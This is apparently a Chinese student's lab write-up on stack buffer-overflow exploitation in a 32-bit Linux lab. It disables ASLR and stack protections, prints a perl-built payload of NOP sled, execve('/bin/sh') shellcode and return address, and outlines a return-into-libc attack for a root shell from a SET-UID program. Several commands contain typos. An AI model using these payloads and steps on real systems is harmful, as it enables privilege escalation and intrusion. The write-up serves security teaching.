20145203盖泽双《网络对抗技术》拓展:注入:shellcode及return-into-libc攻击

一、注入:shellcode

1、编写一段用于获取Shellcode的C语言代码

   shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),它被用来发送到服务器利用其特定漏洞获取其权限。 Shellcode是溢出程序和蠕虫病毒的核心,只对没有打补丁的主机有用武之地。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。

2、设置实践成功的必备环境

GCC中的编译器有堆栈保护技术(结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。)所以我们应当采取一些措施确保我们的shellcode可以注入成功。

(1)在虚拟机中下载安装execstack

apt-cache search execstack

apt-get install execstack

execstack --help

(2)设置堆栈可执行

execstack -s 20145203pwn3

(3)查询文件的堆栈是否可执行

execstack -q 20145203pwn3

(4)关闭地址随机化

echo "0" > /proc/sys/kernel/randomize_va_space

3、构造要注入的payload

   Linux下有两种基本构造攻击buf的方法:①retaddr+nop+shellcode②nop+shellcode+retaddr。retaddr在缓冲区的位置是固定的,缓冲区小就采用第一种方法,缓冲区大就采用第二种方法。

(1)构造badbuf字符串

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

注意

①我们的攻击buf结构应为:nops+shellcode+retaddr。

nop作用:一,填充,二,作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

②我们一开始不清楚应该将这段shellcode代码注入到哪个地方,所以最后四位的地址暂时用x04\x03\x02\x01\来代替。

③最后一个字符不可以是\x0a。否则\x0a代表回车,程序将直接执行,我们没有办法进行调试。

(2)用我们构造的badbuf字符串来执行20145203pwn3

cat input_shellcode;cat

4、经过调试确定x04\x03\x02\x01\处到底是什么

(1)重新打开一个窗口,得到正在运行的程序的进程号。

ps -ef | grep 20145203pwn3

(2)对其进行GDB调试,并设置断点。

(gdb) disassemble foo

(gdb) break *0x080484ae

(3)在程序执行窗口按回车键运行程序。

(4)查看%esp中的地址并推断出我们所注入的shellcode的起始地址。

5、重新修改shellcode代码,并运行查看结果

(1)修改shellcode代码。

(2)运行修改过的可执行文件,得到shellcode成功注入的结果!

二、return-into-libc攻击

   为了对抗将shellcode注入到堆栈的的攻击,现在电脑的防御机制采用了非执行堆栈技术,这种技术使得堆栈上的恶意代码不可执行。因此我们又将shellcode攻击不断改进,想出了return-into-libc攻击。
libc是Linux下的的函数库,return-into-libc攻击顾名思义就是将漏洞程序跳转到它的函数库中,从而不被发现地破坏漏洞程序的正常运行。

1、该实验需要在linux32位的环境下进行,所以进入到此环境中。

linux32

/bin/bash

2、关闭地址随机化,以确保攻击成功。

sudo sysctl -w kernel.randmize_va_space=0

3、让 /bin/sh 指向zsh程序,关闭其保护措施,以获得shell中的root权限。

ln -s zsh sh

4、将漏洞retlib.c文件保存到/tmp目录下。

   retlib.c 程序作用:漏洞程序,我们通过控制badfile文件来产生root shell。

cd /tmp

vim retlib.c

5、编译程序,并运用-fno-stack-protector关闭栈保护机制。

gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c

6、设置SET-UID,设置su以root身份执行。

chmod u+s reylib

7、编辑并编译漏洞程序getenvaddr.c。

   getenvaddr.c 程序作用:漏洞程序,用于读取环境变量。

vim getenvaddr.c

gcc -m32 -o getenvaddr getenvadr.c

8、编写攻击程序exploit.c保存到/tmp目录下。

    exploit.c 程序作用:攻击程序,程序代码段中有 BIN_SH、system、exit 的地址,我们通过修改这些地址,利用retlib程序的漏洞来进行攻击。

9、获取 BIN_SH 地址。

./getenvaddr BIN_SH ./retlib

10、编译exploit.c程序并进行调试。

gcc -m32 -g -0 exploit exploit.c

gdb -q ./exploit

11、获取system 和 exit 的地址。

(gdb) p system

(gdb) p exit

12、修改 exploit.c 文件中的内存地址。

13、.删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c。

rm exploit

rm badfile

14、先运行攻击程序 exploit,再运行漏洞程序 retlib,攻击成功!

20145203盖泽双《网络对抗技术》拓展:注入:shellcode及return-into-libc攻击的更多相关文章

  1. 20145203盖泽双 《网络对抗技术》实践九:Web安全基础实践

    20145203盖泽双 <网络对抗技术>实践九:Web安全基础实践 1.实践目标 1.理解常用网络攻击技术的基本原理. 2.Webgoat下进行相关实验:SQL注入攻击.XSS攻击.CSR ...

  2. 20145203盖泽双 《网络对抗技术》实践八:Web基础

    20145203盖泽双 <网络对抗技术>实践八:Web基础 1.实践目标 (1)编写Web前端--含有表单的HTML代码. (2)编写Web前端--javascipt验证用户名.密码的代码 ...

  3. 20145203盖泽双 《网络对抗技术》实践1—— MAL_逆向与Bof基础

    20145203盖泽双 <网络对抗技术> MAL_逆向与Bof基础 实践目标 (1)我们要通过修改程序代码,使得程序运行其自身中本不该运行的代码片段. (2)在这里,我们有一个名为2014 ...

  4. 20145203盖泽双《网络对抗技术》实践五:MSF基础应用

    20145203盖泽双<网络对抗技术>实践五:MSF基础应用 1.实践目标 掌握metasploit的基本应用方式,掌握常用的三种攻击方式的思路.下面是我自己做的时候用的四个套路. (1) ...

  5. 20145314郑凯杰《网络对抗技术》恶意DLL注入进程(进程捆绑)的实现

    20145314郑凯杰<网络对抗技术>恶意DLL注入进程(进程捆绑)的实现 一.本节摘要 简介:在这部分里,要实现将恶意后门悄无声息地与进程进行捆绑,通过和已运行的进程进行捆绑,达到附着攻 ...

  6. 20145314郑凯杰《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

    20145314郑凯杰<网络对抗技术>可选实验 shellcode注入与Return-to-libc攻击实验 1.0 实践内容 Return-to-libc攻击是一种特殊的缓冲区溢出攻击, ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2017-2018-2 20155314《网络对抗技术》Exp6 信息搜集与漏洞扫描

    2017-2018-2 20155314<网络对抗技术>Exp6 信息搜集与漏洞扫描 目录 实验目标 实验内容 实验环境 基础问题回答 预备知识 实验步骤 1 信息搜集 1.1 外围信息搜 ...

  9. 2017-2018-2 20155225《网络对抗技术》实验九 Web安全基础

    2017-2018-2 20155225<网络对抗技术>实验九 Web安全基础 WebGoat 1.String SQL Injection 题目是想办法得到数据库所有人的信用卡号,用Sm ...

随机推荐

  1. Asp.Net SignalR 集线器不使用代理的实现

    不使用生成代理JS的实现 可能有同学会觉得使用集线器很麻烦,要么引入虚拟目录,要么在生成期间生成js文件,再引入js文件进行开发.难道就没有比较清爽的方式吗?这个当然是有的,先不要(。・∀・)ノ゙嗨皮 ...

  2. RabbitMQ消息队列(八)-通过Topic主题模式分发消息(.Net Core版)

    前两章我们讲了RabbitMQ的direct模式和fanout模式,本章介绍topic主题模式的应用.如果对direct模式下通过routingkey来匹配消息的模式已经有一定了解那fanout也很好 ...

  3. IDEA使用总结

    IDEA常用设置 在我们第一眼看见IDEA是这个样子的: 显示工具条 我们要显示工具条!,两个按钮哦 黑色主体 我们要黑色的主题,白色的太low了! 调整字体大小 现在的字体太小了,我要鼠标滑轮+cr ...

  4. leetcode — binary-tree-inorder-traversal

    import java.util.Arrays; import java.util.Stack; import java.util.TreeMap; /** * * Source : https:// ...

  5. 15分钟在笔记本上搭建 Kubernetes + Istio开发环境

    11月13~15日,KubeCon 上海大会召开,云原生是这个秋天最火热的技术.很多同学来问如何上手 Kubernetes和Istio 服务网格开发.本文将帮助你利用Docker CE桌面版,15分钟 ...

  6. -1-3 java集合框架基础 java集合体系结构 Collection 常用java集合框架 如何选择集合 迭代器 泛型 通配符概念 Properties 集合 迭代器

    集合又称之为容器存储对象的一种方式 •数组虽然也可以存储对象,但长度是固定的:显然需要可变长度的容器 集合和数组的区别?                 A:长度区别                  ...

  7. vm12 安装ubuntu15.10详细图文教程 虚拟机安装ubuntu安装 ubuntu更新软件 ubuntu一直卡在下载语言怎么办?

    1,准备工作-ubuntu下载 ubuntu官网下载 如何官网下载ubuntu http://www.ubuntu.com/download/ 2,打开虚拟机 虚拟机安装ubuntu15.10 虚拟机 ...

  8. 流式大数据计算实践(6)----Storm简介&使用&安装

    一.前言 1.这一文开始进入Storm流式计算框架的学习 二.Storm简介 1.Storm与Hadoop的区别就是,Hadoop是一个离线执行的作业,执行完毕就结束了,而Storm是可以源源不断的接 ...

  9. Java提高班(五)深入理解BIO、NIO、AIO

    导读:本文你将获取到:同/异步 + 阻/非阻塞的性能区别:BIO.NIO.AIO 的区别:理解和实现 NIO 操作 Socket 时的多路复用:同时掌握 IO 最底层最核心的操作技巧. BIO.NIO ...

  10. Java的几个基本类型之间的相互转换

    前言: 转载申明: 作者:王蒙 链接:http://matt33.com/2015/10/27/TheTransformOfJava/ 之前在写java程序的时候,经常会遇到很多的需要需要转换基础数据 ...